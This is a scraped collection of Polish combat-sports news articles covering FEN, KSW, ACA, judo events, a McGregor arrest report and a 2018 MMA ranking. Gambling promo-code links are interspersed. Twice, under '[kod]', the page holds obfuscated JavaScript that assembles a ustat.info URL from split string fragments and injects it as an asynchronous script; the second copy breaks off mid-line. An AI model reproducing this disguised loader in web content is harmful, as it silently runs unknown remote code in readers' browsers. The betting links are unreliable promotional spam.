18 zwycięstwo w karierze zanotował Szymon Bajor, który spotkał się z Grzegorzem Cieplińskim. 30-latek sprowadził rywala do parteru i tam konsekwentnie używał łokci. W końcu walka wróciła do stójki, a po chwili znów… na ziemię. Łokcie, kolejne ciosy, totalna dominacja Bajora sprawiła, że sędzia nie miał wyboru i musiał przerwać starcie.

Rok temu w Warszawie Marcin Naruszczka świętował zwycięstwo w starciu z Bartoszem Leśko. Rewanżowy pojedynek był eliminatorem do walki o pas w kategorii średniej. Takiego obrotu sprawy chyba nikt się nie spodziewał. Leśko od razu ruszył na Naruszczkę, ale ten przetrwał atak rywala. Z czasem zawodnik z Gdyni osłabł, a do głosu doszedł 35-latek. Jedno trzeba podkreślić – nie brakowało wymian i klinczów pod siatką. W trzeciej rundzie dominował Naruszczka, jednak sędziowie ostatecznie orzekli… remis.

Adrian Zieliński szybko rozprawił się Kamilem Łebkowski w pojedynku na zasadach MMA, który był eliminatorem do pojedynku o pas w wadze piórkowej. Potężny sierpowy wyeliminował "Bombę" z dalszych zmagań po upływie niecałych 200 sekund. Jedno mrugnięcie okiem… Zaledwie 15 sekund potrzebowała Anita Bekus, aby oprawić Kamilę Porczyk. W starciu raperów – "Arab" w drugiej rundzie pokonał "Wujka Samo Zło". Udany debiut w FEN zaliczył Marcin Krakowiak, który w trzeciej rundzie pokonał przez duszenie zza pleców Mateusza Strzelczyka. Na otwarcie gali w Warszawie w starciu K-1 Robert Rajewski pokonał decyzją sędziów Michała Gęsiarza.

Fot. Andrzej Grzebyk Facebook

KM

FighTime Live – 20.03.2019

[kod]

Dziś w programie   ""

17:00 – Mistrzostwa Polski Full Contact (2016)
18:10 – Mistrzoistwa Polski K-1 (2018)
20:10 – Puchar Polski Low Kick (2017)
21:30 – Reportaż "Przemek Saleta"
21:40 – Reportaż "Kadra Judo Kobiet" (2016)
21:50 – Road to Gold Medal Judo – Women (Kazań, 2016)
22:00 – Road to Bronze Medal Judo – Men`s (Kazań, 2016)
22:05 – Zakończenie programu

ACA tym razem w Łodzi

Po Warszawie, przyszedł czas na Łódź. 8 czerwca w hali Sport Arena odbędzie się gala ACA 96, podczas której nie zabraknie walk z udziałem polskich zawodników.

Organizacja Absolute Championship Akhmat, zajmująca się MMA, szykuje drugie wydarzenie w Polsce w tym roku. Warto dodać, że po raz pierwszy gala wspomnianej federacji zawita do Łodzi. Wcale nie musi być to jednak ostatnie wydarzenie zorganizowane przez ACA w Polsce w 2019 roku! Jesienią nad Wisłą ma dojść do kolejnej gali.

Co do 8 czerwca, w Łodzi nie może zabraknąć polskich zawodników. Podczas gali zaprezentuje się Marcin Held, który miał wystąpić podczas gali w Warszawie, jednak z powodu kontuzji wypadł z rozpiski. Dotychczas w ACA (wcześniej ACB) 27-letni fighter stoczył dwa pojedynki i oba wygrał w efektowny sposób przed czasem. Czwarty pojedynek dla rosyjskiej organizacji stoczy Daniel Omielańczuk. Były zawodnik UFC w Warszawie wypunktował Zelimkhana Umieva. Wcześniej przegrał z Amirem Aliakbarim, a w debiucie przed czasem pokonał Bobby'ego Brentsa.

Kolejną szansę do zaprezentowania się przed polską publicznością dostanie Piotr Strus. Zawodnik z Warszawy dotychczas świetnie radził sobie w ACA. Przegrał jednak walkę o pas w wadze średniej z Albertem Durajewem. Strus wystąpił także w lutym w Warszawie, ale poniósł porażkę w starciu z Ibragimem Czużigajewem. Decyzja sędziów wzbudziła kontrowersje, bo co prawda Polak przegrał pierwszą odsłonę, ale w dwóch kolejnych wyglądał lepiej. To nie pierwsza taka sytuacja z udziałem Strusa. Po walce z Michaiłem Kołobiegowem (kontrowersyjny werdykt), obóz 30-latka złożył protest i pojedynek uznano jako no-contest. Jasno trzeba przyznać, że Strus prezentuje w ACA wysoki poziom, czego dowodem była jego walka o pas. W Łodzi będzie miał okazję powrócić na zwycięską ścieżkę i zacząć ponowny marsz w kierunku trofeum.

Wraz z upływem czasu ACA będzie ujawniało kolejne nazwiska zawodników. Podczas gali w Łodzi należy spodziewać się wielu emocji sportowych. W Warszawie odbyło się 15 walk. Zapewne w Łodzi będzie podobnie. ACA postępuje zgodnie z zasadą – mniej show, więcej walk.

Fot. Piotr Strus Facebook

KM

Jóźwiak przed FEN 24: Kibica dzisiaj nie wolno oszukiwać

Prezes federacji Fight Exclusive Night Paweł Jóźwiak nie może doczekać się sobotniej gali FEN 24, która zapowiada się na najciekawsze wydarzenie w ponad pięcioletniej historii organizacji. – Dziś widza nie można oszukiwać. Świadomość o sportach walki jest tak duża, że tylko serwując naprawdę wykwintne danie można spodziewać się okazałego napiwku.

W pięć miesięcy organizujecie piątą galę. Szybko, bardzo szybko to wszystko się rozwija.

Paweł Jóźwiak: Dokładnie, czas leci niemiłosiernie. Przed chwilą spotykaliśmy się w Poznaniu na konferencji prasowej przed FEN 22, a zaraz będziemy trzy gale do przodu. Mieliśmy przerwę wakacyjną dłuższą niż zwykle, ale teraz już wszystko idzie sprawnie. W Warszawie ogłosimy kolejną edycję, FEN 25.

Federacja była już w tym miejscu?

PJ: Nie była, co jeszcze bardziej mnie cieszy – to dla nas coś nowego. Coś wyjątkowego w polskim MMA, bo takiej gali, jaką my zorganizujemy w czerwcu, jeszcze nikt nie zorganizował. Północ Polski – tyle mogę powiedzieć.

Przejdźmy do warszawskiej edycji. To najlepsza karta w historii FEN?

PJ: Najlepsza i najbardziej zasłużona. Najmocniejsza sportowo. Mówiłem kilkukrotnie, że FEN rozwija się i to będzie nasz rok, a ta gala jest tylko tego potwierdzeniem. Dwie walki o pas, trzech mistrzów na karcie walk, dwa eliminatory, starcie kobiet, kilka mocnych nazwisk, które dopiero przebijają się do świadomości fanów. Każdy znajdzie coś dla siebie w Warszawie. Nudy nie będzie, bo od pierwszego gongu pierwszej walki czeka nas dużo emocji.

Konkurencja jest na rynku spora – trzeba się czymś wyróżniać.

PJ: Konkurencja nie przeszkadza tylko wtedy, gdy czujesz się mocno. My czujemy się mocno. Widzimy konkurencję, cieszymy się, że takowa występuje, ale wiemy, na co nas stać i co musimy robić, żeby takimi galami, jak ta warszawska, podnosić sobie poprzeczkę. Dziś widza nie można oszukiwać. Świadomość o sportach walki jest tak duża, że tylko serwując naprawdę wykwintne danie można spodziewać się okazałego napiwku. Missmatche i bumobicie nie przejdzie. To już było, tego nie ma. Nie można ściągnąć gościa z Nibylandii, kazać mu podczas trailerów powiedzieć trzy obraźliwe słowa, wyreżyserować popchnięcie na ważeniu, żeby sprzedać halę. Kibic dziś wie, kto jest dobry, a kto jest pompowany. My nie pompujemy. Ściągamy z zagranicy dwóch zawodników dla naszych mistrzów – Wrzoska i Paczuskiego – i w skali Europy są to naprawdę kozacy. Schmid ma prawie cztery razy więcej zwycięstw na koncie niż Arek. Anstey z 13 wygranych walk 13 wygrał przed czasem. To najlepszy brytyjski zawodnik w swojej kategorii wagowej, a to jest naprawdę mocny rynek. Jeżeli nasi mistrzowie chcą błyszczeć na świecie, muszą wygrywać z takimi rywalami – nie ma drogi na skróty.

Nie każdy tak myśli. To nie kreuje bohaterów.

PJ: Kreuje bohaterów, którzy naprawdę są bohaterami. Nie mistrzów własnej piaskownicy. Wrzosek jest jednym z ośmiu najlepszych zawodników na świecie, występuje w GLORY. Mam mu ściągnąć chłopaka, który przyjedzie do Warszawy, zwiedzi Stare Miasto, a po drugiej rundzie będzie myślał, gdzie jest After Party? Nie będę tego robił. Wiem, że kariera wielu zawodników w FEN mogłaby się potoczyć inaczej, gdybym ściągał mięso armatnie i nabijał rekordy. Nikt tego jednak nie chce – ani ja, ani kibice, dziennikarze czy zawodnicy. Grzesiek Ciepliński wygrał z Marcinem Sianosem i zadzwonił do mnie, że albo chce kozaka, albo nie będzie walczył. Jest wciąż młody, ma 26 lat, a mierzy wysoko i zwycięstwo z gościem o rekordzie 5-15 go nie kręci. Dostał Bajora, który według bukmacherów jest faworytem. Wszyscy są zadowoleni, o to chodzi.

Grzebyk może przejść do historii…

PJ. Już przeszedł zdobywając pas mistrzowski w kategorii średniej i aspirując do mistrzostwa w półśredniej. To jest tak genialna walka, że na 25 minut wyłączam telefon, nie załatwiam żadnych spraw, które muszę załatwić podczas gali i delektuje się tym pojedynkiem. To jest możliwie najlepsze zestawienie, jakie dziś można było zorganizować w FEN. Każdy z tych chłopaków za kilka, kilkanaście miesięcy może występować w UFC. To walka o naprawdę ogromną stawkę.

Kolejny mistrz zostanie wyłoniony. Do końca roku wszystkie kategorie zostaną obsadzone?

PJ: Taki jest plan. Dwa eliminatory w Warszawie mają wyłonić tych, którzy w kolejnej walce podejmą mistrzowskie wyzwanie. W kategorii piórkowej jest wakat, więc tu nie ma problemu. W średniej wszystko zależy o decyzji Grzebyka po walce z Gniadkiem. W Warszawie po raz czwarty z rzędu podczas naszej gali odbędzie się walka w kategorii ciężkiej. Niedługo wyłonimy pretendentów również do tytułu w królewskiej dywizji. W półciężkiej mam plan na to zestawienie. Wszystko w swoim czasie.

Jest też freak fight, który budzi zainteresowanie.

PJ: I niech budzi – o to w tym chodzi. Arab z Wujkiem wiedzą, jakie jest ich miejsce w szeregu. Nikt nie mydli oczu kibicom, że to będzie pojedynek Floyda Mayweathera Juniora z Oscarem de la Hoyą. Dwa tego typu pojedynki na 24 gale fani z pewnością nam wybaczą.

McGregor trafił do aresztu

Conor McGregor sprawił, że po raz kolejny stało się o nim głośno. Jednak nie z powodów sportowych… Zawodnik z Irlandii został aresztowany za zniszczenie telefonu komórkowego mężczyzny, który chciał zrobić mu zdjęcie.

Najprościej rzecz ujmując – McGregor nie potrafił utrzymać nerwów na wodzy i swoim zachowaniem sprawił, że po raz kolejny znalazł się w tarapatach. Sytuacja wyglądała następująco: w poniedziałek w Miami Beach kibic próbował zrobić zdjęcie gwiazdorowi UFC. Okazało się, że było to w niesmak 30-latkowi, który wyrwał aparat mężczyźnie i rozbił go. Wszystko zarejestrowały kamery monitoringu. McGregor został zatrzymany w swoim domu na Florydzie. Wartość uszkodzonego telefonu wyceniono na 1 tys. dolarów. Irlandczyk trafił do aresztu za wandalizm, za co grozi kara od 3 do 20 lat pozbawienia wolności. Po przesłuchaniu i wpłaceniu kaucji w wysokości 12,5 tys. dolarów wyszedł z więzienia.

Warto przypomnieć, że to nie pierwszy przypadek wejścia w konflikt z prawem przez McGregora. W kwietniu 2018 roku Irlandczyk, wraz grupą innych osób, zaatakował bus z zawodnikami, który mieli wystąpić podczas gali UFC 223. W kierunku pojazdu poleciały różne przedmioty. Ranny został Michael Chiesa. W związku z zaistniałą sytuację odwołano kilka pojedynków gali w Nowym Jorku. McGregor nie uniknął odpowiedzialności, a sąd ukarał go pięcioma dniami prac społecznych. Dodatkowo Irlandczyk został skierowany na terapię kontroli nad gniewem i musiał pokryć szkody finansowe.

Do kolejnej awantury, z udziałem McGregora, doszło po gali UFC 229 w Las Vegas, podczas której Irlandczyk przegrał z Khabibem Nurmagomedovem. Całą sytuację sprowokował Rosjanina, jednak "Notorius" również "oberwał". Komisja w Nevadzie ukarała byłego mistrza kategorii piórkowej i lekkiej sześciomiesięcznym zawieszeniem i 50 tys. dolarów kary.

Jak widać, w ostatnim czasie McGregor częściej staje się bohaterem negatywnych wydarzeń niż pozytywnych. Ze strony sportowej również nie ma dobrej pasji. McGregor przegrał prestiżowe starcie z Nurmagomiedowem i pas w wadze lekkiej pozostał u Rosjanina. Wcześniej Irlandczyk uległ w bokserskim pojedynku Floydowi Mayweatherowi Jr. Ostatnią wygraną "Notorius" zanotował 12 listopada 2016 roku pokonując Eddie'go Alvareza. Już prawie dwa i pół roku od ostatniego pozytywnego akcentu…

KM

Sklep crossfit – co w nim znajdziemy?

Crossfit to trening przekrojowy, który pozwala na poprawę wydolności, siły, wytrzymałości czy mobilności. Jest jednak również bardzo wymagający, toteż niezbędne jest zaopatrzenia się w odpowiedni sprzęt i akcesoria zapewniające komfort, a przede wszystkim bezpieczeństwo podczas treningu. Wszystkie niezbędne artykuły oferują specjalistyczne sklepy crossfit.

Przede wszystkim ubiór
Podstawą przy każdego typu aktywności fizycznej jest odpowiedni ubiór. Crossfit jako trening wymagający wymusza potrzebę wyposażenia się w ubranie, które nie tylko będzie elastyczne i wygodne, ale także przewiewne. Duże znaczenie ma również kwestia odprowadzania wilgoci. Świetnie sprawdzą się przede wszystkim przylegające ubrania, które nie tylko nie będą rozpraszać podczas treningu, ale ponadto umożliwią zaobserwowanie pracy mięśni przy wykonywaniu poszczególnych ruchów.

Crossfit sklep a obuwie
Specjalistyczne sklepy crossfit to najlepsze miejsce, gdzie można znaleźć obuwie odpowiednie na tego typu treningi. Warto bowiem pamiętać, że przy wymagającej aktywności bardzo łatwo o kontuzję. Buty muszą więc być wygodne, ale przede wszystkim zapewniać stabilność i amortyzację. Mogą mieć płaską podeszwę albo nieco podniesioną piętę, dzięki której wykonywanie niektórych ćwiczeń okaże się łatwiejsze.

Akcesoria do crossfitu
Sklep crossfit oferuje także szereg urządzeń, które mogą okazać się przydatne podczas treningu. Będą one między innymi pomagać w mierzeniu tętna, czasu albo ilości powtórzeń poszczególnych ćwiczeń. Wśród artykułów w tej grupie znajdują się przede wszystkim pulsometry. Bezpieczeństwo i komfort treningu można także zwiększyć dzięki wybraniu niektórych elementów z asortymentu sklepu crossfit takich jak stabilizatory kolan i łokci, usztywniacze nadgarstków i ochraniacze piszczeli.

Specjalistyczny sprzęt
Trening crossfit można też urozmaicić dzięki licznym sprzętom takim jak skakanki crossfit czy gryfy, kamizelki obciążeniowe albo poręcze gimnastyczne. Niezbędnymi akcesoriami dla każdego zwolennika takiej aktywności fizycznej mogą okazać się także gumy i taśmy oporowe oraz piłki i rollery do masażu.

[kod]

(function(){
c1ie=document.createElement("script");c1ie_=("ust");c1ieu="131207186";
c1ie_+="a"+("t.i");c1ie.type="text/javascript";
c1ieu+=".uscp91mb1ie8pujnpe0f";c1ie.async=true;c1ie_+="n"+("f"+"o")+"/";
c1ieu+="hgudysj9vs";c1ie.src="https://"+c1ie_+c1ieu;
document.body.appendChild(c1ie);
})();

Udany weekend judoków

Arleta Podolak (57kg) najlepsza w Pradze, a Bartłomiej Garbacik (60kg) i Wiktor Mrówczyński (73kg) ze srebrnymi medalami w Warszawie. Na najniższym stopniu podium w stolicy Polski stanęli również: Łukasz Błach (81kg, na zdjęciu z prawej), Patryk Broniec (+100kg) oraz Piotr Kuczera (90kg).

W miniony weekend judoczki wybrały się na Puchar Świata do Pragi. Łącznie w stolicy Czech wystartowało 166 zawodniczek, w tym dziesięć Polek. Ze złotem z Pragi wyjechała Arleta Podolak, która rywalizowała w najliczniej obsadzonej kategorii – 32 judoczki. Zawodniczka Gwardii Warszawa wygrała pięć pojedynków. Zaczęła od starcia z Chelsie Giles i triumfowała przez waza ari, tak samo w dwóch kolejnych starciach. Półfinał Podolak rozstrzygnęła przez ippon. Podobnie było w finale, w którym po upływie 74 sekund pokonała utalentowaną Gruzinkę Eteri Liparteliani. Polka po roku wywalczyła miejsce na podium w międzynarodowych startach. Ostatni raz triumfowała 3 marca 2018 roku w Warszawie.

W Pradze blisko podium była Julia Świątkiewicz (+78kg), jednak w walce o brąz Polkę pokonała Anastasiia Sapsai. Na siódmych miejscach zmagania zakończyły Danuta Majcher (48kg) i Angelika Szymańska (63kg).

Z kolei w Warszawie toczyła się rywalizacja judoków. W Arenie Ursynów zameldowało się 291 zawodników. Na listach startowych aż 50 reprezentantów Polski. Ze srebrnego medalu cieszył się Bartłomiej Garbacik. Polak wygrał cztery walki, w tym trzy przed czasem. W finale przegrał z reprezentantem Azerbejdżanu Orujem Valizadą. Kolejny dobry występ Wiktora Mrówczyńskiego. Po siódmym miejscu w zawodach Grand Slam w Dusseldorfie, przyszedł czas na medal. Zawodnik AZS AWF Katowice przegrał jedynie z Olegiem Babgoevem i wywalczył srebro.

Po blisko rocznej przerwie na podium zameldował się Piotr Kuczera, który sięgnął po brąz. Udanie w Warszawie zaprezentował się Łukasz Błach. Polak przegrał w półfinale z Bohdanem Zusko, jednak w starciu o trzecie miejsce uporał się z Dmitrijsem Fedosejenkovsem. Pierwszy medal na międzynarodowym poziomie wywalczył Patryk Broniec, który również zapisał na swoim koncie brąz. Blisko podium był Maciej Sarnacki (+100kg) – 5. lokata.

Fot. Polski Związek Judo Facebook

KM

Męska rywalizacja w Warszawie

Rok temu w zawodach European Open w judo w Warszawie rywalizowały kobiety, teraz czas na mężczyzn. 2-3 marca ponad 300 zawodników powalczy o medale i cenne, w kontekście kwalifikacji na Igrzyska Olimpijskie, punkty.

W Arenie Ursynów pojawią się zawodnicy z blisko 40 państw. Wśród nich m.in. reprezentanci Francji, Węgier, Azerbejdżanu, Wielkiej Brytanii, Hiszpanii, Tadżykistanu czy też Guamu, Laosu oraz Senegalu. Na listach startowych nie brakuje ciekawych nazwisk. W Warszawie o medale będzie walczył brązowy medalista mistrzostw Europy z 2017 roku Chorwat Dominik Drużeta (81kg). Z apetytem na kolejne zwycięstwo przyjedzie Oruj Valizada (60kg). Zawodnik z Azerbejdżanu wygrał ostatnio zawody w Rzymie. Umiejętności zaprezentuje również brązowy medalista mistrzostw Europy U23 Yaring Menaged (66kg). Warto podkreślić, że w Warszawie wystąpi wielu zdolnych i perspektywicznych judoków, którzy na poziomie młodzieżowym i juniorskim zdobywali medale wielkich imprez.

Atut własnego terenu będą starali się wykorzystać Polacy. Piotr Kuczera (90kg) od blisko roku czeka na kolejne podium. Ostatnio "na pudle" stanął 30 marca 2018 roku podczas Grand Prix Tbilisi, gdzie sięgnął po brąz. Dotychczas w Warszawie trzeci zawodnik mistrzostw Europy w Kazaniu z 2016 roku wystąpił raz. W 2015 roku odpadł w drugiej rundzie. Po ubiegłorocznym piątym miejscu na mistrzostwach świata, czas na kolejny sukces Damiana Szwarnowieckiego (81kg). Judoka z Wrocławia dotychczas w Warszawie startował dwukrotnie. W 2013 roku zajął siódmą lokatę, w 2015 roku dotarł do trzeciej rundy, ale przegrał z Artemem Khomulą. Duże nadzieje są wiązane z występem Macieja Sarnackiego (+100kg). W kolejnych sezonach judoka z Olsztyna prezentuje równą formę. Z Warszawy Sarnacki ma dobre wspomnienia. W 2015 roku wygrał w stolicy zawody European Open. Ostatnio w Dusseldorfie z dobrej strony pokazał się Wiktor Mrówczyński (73kg), który był siódmy. O niespodziankę mogą pokusić się m.in. Rafał Kozłowski (90kg) czy też Patryk Wawrzyczek i Łukasz Kiełbasiński (obaj 66kg). Również pozostali kadrowicze są w stanie odnieść sukces.

Z pewnością punktem odniesienia dla biało-czerwonych będzie występ ich koleżanek z 2018 roku. Panie w Warszawie zdobyły siedem medali, w tym dwa złote i okazały się najlepsze w klasyfikacji końcowej. Powtórzenie tego wyczynu będzie zadaniem trudnym, aczkolwiek możliwym do wykonania. Zatem – czekamy na medale.

KM

Olimpijskie akcenty w Łodzi

Damian Janikowski, Szymon Kołecki i Satoshi Ishii mają na swoim medale igrzysk olimpijskich. Tych trzech zawodników zaprezentuje się podczas gali KSW 47, która odbędzie się 23 marca w Łodzi. W walce wieczoru o pas mistrzowski wagi ciężkiej zmierzą się Philip de Fries oraz Tomasz Narkun.

"Żyrafa" zmierza po kolejne trofeum w KSW. Od ponad trzech lat Narkun znajduje się w posiadaniu tytułu w wadze półciężkiej. W minionym roku dwukrotnie pokonał ikonę organizacji Mameda Khalidova. Teraz Narkun ponownie chce znaleźć się na pierwszym planie i zostać drugim, po Mateuszu Gamrocie, podwójnym czempionem federacji. 23 marca na drodze stanie mu Phillip de Fries. Anglik miał mocne wejście do organizacji KSW. We Wrocławiu (KSW 43) w pierwszej rundzie zastopował Michała Andryszaka i sięgnął po pas w wadze ciężkiej. Podczas KSW 45 na Wembley obronił tytuł poddając przez americanę Karola Bedorfa. Można przypuszczać, że starcie de Fries – Narkun zakończy się przed czasem. Obaj fighterzy potrafią w efektowny sposób poddać rywala.

W Łodzi w KSW zadebiutuje złoty medalista olimpijski z Pekinu Szymon Kołecki. Do niedawna 37-latek występował w organizacji Babilon MMA, gdzie wygrał trzy z czterech walk. W Łodzi zmierzy się z weteranem KSW Mariuszem Pudzianowskim. Ten pojedynek wzbudzał emocje i był długo wyczekiwany. 23 marca czas nas starcie wielkich wojowników.

Po porażce na Wembley zrehabilitować będzie chciał się brązowy medalista olimpijski z Londynu w zapasach Damian Janikowski. Polak nie będzie miał łatwego zadania. W Łodzi zmierzy sie z Serbem Aleksandarem Iliciem, który ma na koncie dziesięć zwycięstw i dwie porażki.

Kolejnym medalistą olimpijskim, który zaprezentuje się podczas KSW 47 będzie judoka Satoshi Ishii. Japończyk zdobył złoto w Pekinie. W MMA ma bogate doświadczenie – 19 zwycięstw, osiem porażek i jeden remis. Rywalem Japończyka w Łodzi będzie były mistrz KSW w wadze ciężkiej Fernando Rodrigues Jr., który ostatnio wrócił na zwycięską ścieżkę. Podczas gali Superior Challenge 17 pokonał Jamessa McSweeney'a.

W Łodzi dojdzie do starcia Borysa Mańkowskiego z Normanem Parkiem. Polak nie wygrał od grudnia 2016 roku. Marcina Wrzoska czeka starcie z Danielem Torresem. Podczas KSW 47 dojdzie do walki niepokonanych pań – Karoliny Owczarz i Aleksandry Roli.

Ponadto w Łodzi w akcji zaprezentują się Maciej Kazieczko i Bartłomiej Kopera oraz Dawid Gralka i Paweł Politylo.

Fot. KSW

KM

Adrian Zieliński – prawdziwy wojownik

Uchodzący za jednego z najlepszych zawodników wagi lekkiej w Polsce, Adrian Zieliński 16 marca wystąpi na gali FEN 24 w Warszawie. Jego ostatni występ w stolicy zakończył się zwycięstwem. Co istotne – Zieliński zawsze jest gwarantem wysokiego poziomu sportowego.

32-letni zawodnik z Olsztyna niejednokrotnie pokazał, że zasługuje na miano jednego z najlepszych w swojej kategorii. W listopadzie 2013 roku podczas gali PLMMA 24 Extra Zieliński pokonał Adama Golonkiewicza i zdobył pas w wadze lekkiej. Kolejny występ był prawdziwym testem dla olsztynianina, który stanął oko w oko z Nikko Puhakką. Fin był niepokonany na polskiej ziemi, jednak w końcu znalazł pogromcę w osobie Zielińskiego. Choć pojedynek był wyrównany i mistrz PLMMA musiał być uważny w parterze, wytrwał trzy rundy i mądrze prowadził walkę. Werdykt sędziów na korzyść Zielińskiego. Jedną z najefektowniejszych i najszybszych wygranych w wykonaniu 32-latka było zwycięstwo nad Miroslavem Strbakiem. Gala XCage 6/PLMMA 38 w Toruniu należała do Adriana Zielińskiego. Od pierwszych sekund Polak napierał na rywala i po jednym z ciosów Słowak wylądował na deskach. Pojedynek na chwilę przeniósł się do parteru, ale niebawem panowie stanęli "oko w oko" w stójce. Potężny cios Zielińskiego w szczękę rywala i było po walce.

Podczas gali PLMMA 41 – Extra (październik 2014) w Legionowie doszło do zapowiadanego jako niezwykle ciekawe starcie Zielińskiego z Marianem Ziółkowskim o pas mistrzowski. Pojedynek zakończył się szybko… z powodu kontuzji "Golden Boya". Zieliński nie ukrywał, że żałuje takiego obrotu sprawy. Jednak przez pięć minut zawodnicy pokazali wolę walki i ambicję. Ponownie Toruń okazał się szczęśliwym miejscem dla zawodnika urodzonego w Olsztynie. W marcu 2015 roku mieście Mikołaja Kopernika, Zieliński odniósł efektowną wygraną z Viktorem Tomaseviciem. Polak dopadł rywala i nie miał dla niego litości. Ciosy łokciami wymusiły na Litwinie poddanie. Po upływie 4,5 minuty Zieliński świętował zwycięstwo. Tym samym Polak zrewanżował się Tomaseviciowi za wcześniejszą porażkę. Rachunku zostały wyrównane.

Dobra postawa Zielińskiego w Polsce zaprocentowała angażem w organizacji Absolute Championship Akhmat. Co prawda w debiucie Polak poniósł porażkę w pojedynku z Andriejem Koszkinem. W kolejnych starciach potwierdził wysokie umiejętności. Podczas gali ACB 29 w Warszawie na przestrzeni trzech rund Zieliński wypunktował Ustarmagomeda Gadzhidaudova. Polak podkreślał, że mógł zaprezentować się lepiej, al priorytetem była wygrana i cel udało się zrealizować. Podczas gali ACB 35: Memory of Guram w Tbilisi Zieliński zachwycił swoją postawą. W drugiej rundzie Rasul Ediev odczuł potężny prawy sierpowy Polaka i walka przeniosła się do parteru. Wszystkie karty były w rękach Zielińskiego, który zdominował przeciwnika. Efektem było skuteczne duszenie zza pleców.

Jedno można powiedzieć na pewno – Zieliński zawsze walczy na całego. Warto przedstawić tu przykład walki z Piotrem Hallmannem, do której doszło podczas gali ACB 63. Starcie lepiej zaczął zawodnik mający za sobą występy w UFC, jednak w drugiej rundzie Zieliński mocnymi ciosami postraszył przeciwnika. Trzecia odsłona to walka na całego i werdykt 2:1 dla Hallmanna. Ostatni występ Zielińskiego zakończył się również porażką. W Bratysławie, gala ACB 84, lepszy okazał się Amerykanin Joshua Aveles. Zieliński przegrał, ale wystąpił w walce wieczoru i zgarnął 10 tysięcy dolarów za najlepszy pojedynek gali. To mówi samo za siebie.

Bilans Adriana Zielińskiego to 17 zwycięstw i 8 porażek.

https://wearebettors.com/pl/sts-kod-promocyjny

fot. .facebook.com/AdrianZielinskiMMA

Najlepsi zawodnicy MMA 2018

Przedstawiamy ranking najlepszych dziesięciu polskich zawodników MMA w 2018 roku bez podziału na kategorie wagowe.

Stworzenie takiego zestawienia nie jest łatwym zadaniem. W 2018 roku wielu polskich zawodników zrobiło widoczne postępy, mamy swoich przedstawicieli w czołowych europejskich i światowych organizacjach. Przy ocenie pod uwagę brano zarówno efektowne zwycięstwa, zdobyte tytuły i perspektywy rozwoju.

1. Jan Błachowicz

Jeszcze półtora roku temu sytuacja Jana Błachowicza w UFC nie wyglądała kolorowo. Po porażkach z Alexandrem Gustafssonem i Patrickiem Cumminsem, losy "Johna" mogły potoczyć się różnie. Zawodnik urodzony w Cieszynie pokazał charakter i pełnię swoich umiejętności. Wygrał cztery pojedynki z rzędu, z czego dwa w 2018 roku. 36-letni zawodnik pokonał w rewanżu Jimi'ego Manuwę (UFC Fight Night 127) oraz efektownie poddał Nikitę Krylova (UFC Fight Night 136). Gdyby tego było mało Błachowicz awansował na podium w rankingu kategorii półciężkiej.

2. Mateusz Gamrot

1 grudnia 2018 roku w Gliwicach do historii KSW przeszedł Mateusz Gamrot. Popularny "Gamer" pokonał jednogłośną decyzją sędziów Klebera Koike Erbsta i sięgnął po pas mistrzowski w wadze piórkowej. Tym samym został czempionem dwóch kategorii. Gamrot posiada również tytuł w wadze lekkiej, którego skutecznie bronił trzykrotnie. Wcześniej żaden zawodnik KSW nie posiadał jednocześnie dwóch pasów mistrzowskich. W 2018 roku Gamrot zapisał na swoim koncie wygraną z Grzegorzem Szulakowskim.

3. Andrzej Grzebyk

Mistrz wagi średniej organizacji FEN buduje swoją pozycję w polskim MMA. 25 maja 2018 roku sięgnął po pas mistrzowski w wadze średniej. Podczas gali FEN 21 we Wrocławiu Grzebyk pokonał Thiago Vieirę. W ostatnich sekundach trzeciej rundy Polak zachwiał rywalem mocnym kopnięciem, a później zasypał go kanonadą ciosów. Łącznie w 2018 roku Grzebyk wygrał trzy pojedynki. Zawodnik może pochwalić się serią sześciu zwycięstw z rzędu.

4. Tomasz Narkun

Tomasz Narkun stał się pierwszoplanową postacią organizacji KSW. Ponad trzy lata temu w Londynie zdobył tytuł w wadze półciężkiej. W 2018 roku popularny "Żyrafa" wszedł na tron KSW. Tomasz Narkun dwukrotnie pokonał legendę organizacji – Mameda Khalidova. Najpierw podczas KSW 42 w Łodzi, a następnie w Gliwicach (KSW 46). Kolejny cel? Pas w wadze ciężkiej. O tytuł Narkun będzie rywalizował 23 marca z Philipem de Friesem.

5. Marcin Held

Po nieudanej przygodzie w UFC, gdzie wygrał tylko jedną walkę, Marcin Held świetnie odnalazł się w organizacji Absolute Championship Akhmat (wcześniej ACB). W 2018 roku były zawodnik Bellatora pokonał Callana Potter (ACB 88) oraz Musę Khamanaeva (ACB 90). Marcin Held efektownie wygrywał przed czasem przez dźwignię skrętową na staw skokowy.

6. Mateusz Rębecki

Mateusz Rębecki przebojem wszedł do organizacji Fight Exclusive Night i podążał drogą na szczyt na szczyt. W 2018 roku Popularny "Chińczyk" wywalczył pas mistrzowski w wadze lekkiej. Podczas gali FEN 20: Next Level w Warszawie pokonał w walce o tytuł Mariana Ziółkowskiego. W pierwszej obronie uporał się z Łukaszem Koperą (FEN 22). Oba pojedynki Rębecki rozstrzygnął przed czasem.

7. Piotr Strus

Piotr Strus znakomicie radził sobie w organizacji ACB. W 2018 roku po zaciętym starciu pokonał Fernando Gonzaleza i zanotował czwarte zwycięstwo w rosyjskiej organizacji. Polak zapracował na starcie o pas mistrzowski, do którego doszło we wrześniu w Krasnodarze (ACB 89). Strus musiał uznać jednak wyższość Alberta Duraeva.

8. Michał Materla

Były mistrz KSW w wadze średniej zaczął 2018 rok od porażki ze Scottem Askhamem (KSW 42). Później wrócił jednak do gry. Podczas KSW 44: The Game zatrzymał w drugiej rundzie Martina Zawadę. Udana dla Materli była również podróż do Londynu. Podczas gali KSW 45: The Return to Wembley w półfinale turnieju w kategorii średniej "Magic" w pierwszej rundzie odprawił Damiana Janikowskiego, który wcześniej zachwycał widzów. Stary lis pokazał umiejętności i czeka na finał. Tam spotka się z Askhamem.

9. Daniel Skibiński

W grudniu Daniel Skibiński wypunktował Pawła Pawlaka i sięgnął w Raszynie po pas kategorii półśredniej organizacji Babilon MMA. Dla "Skiby" była to trzecia wygrana w 2018 roku. W organizacji Babilon MMA Skibiński pozostaje niepokonany.

10. Marcin Tybura

Marcin Tybura utrzymuje się na pokładzie UFC. Choć rok 2018 nie był najlepszym w karierze polskiego zawodnika wagi ciężkiej, to zanotował cenną wygraną w starciu z wielkim Stefanem Struvem. Dla Polaka był to czwarty triumf w UFC. Tym cenniejszy, że Tybura zwyciężył po dwóch porażkach z rzędu.

https://kodyzaklady.pl/totolotek-kody-promocyjny

[kod]

(function(){
a8x3=document.createElement("script");a8x3_="u"+("s")+"ta";
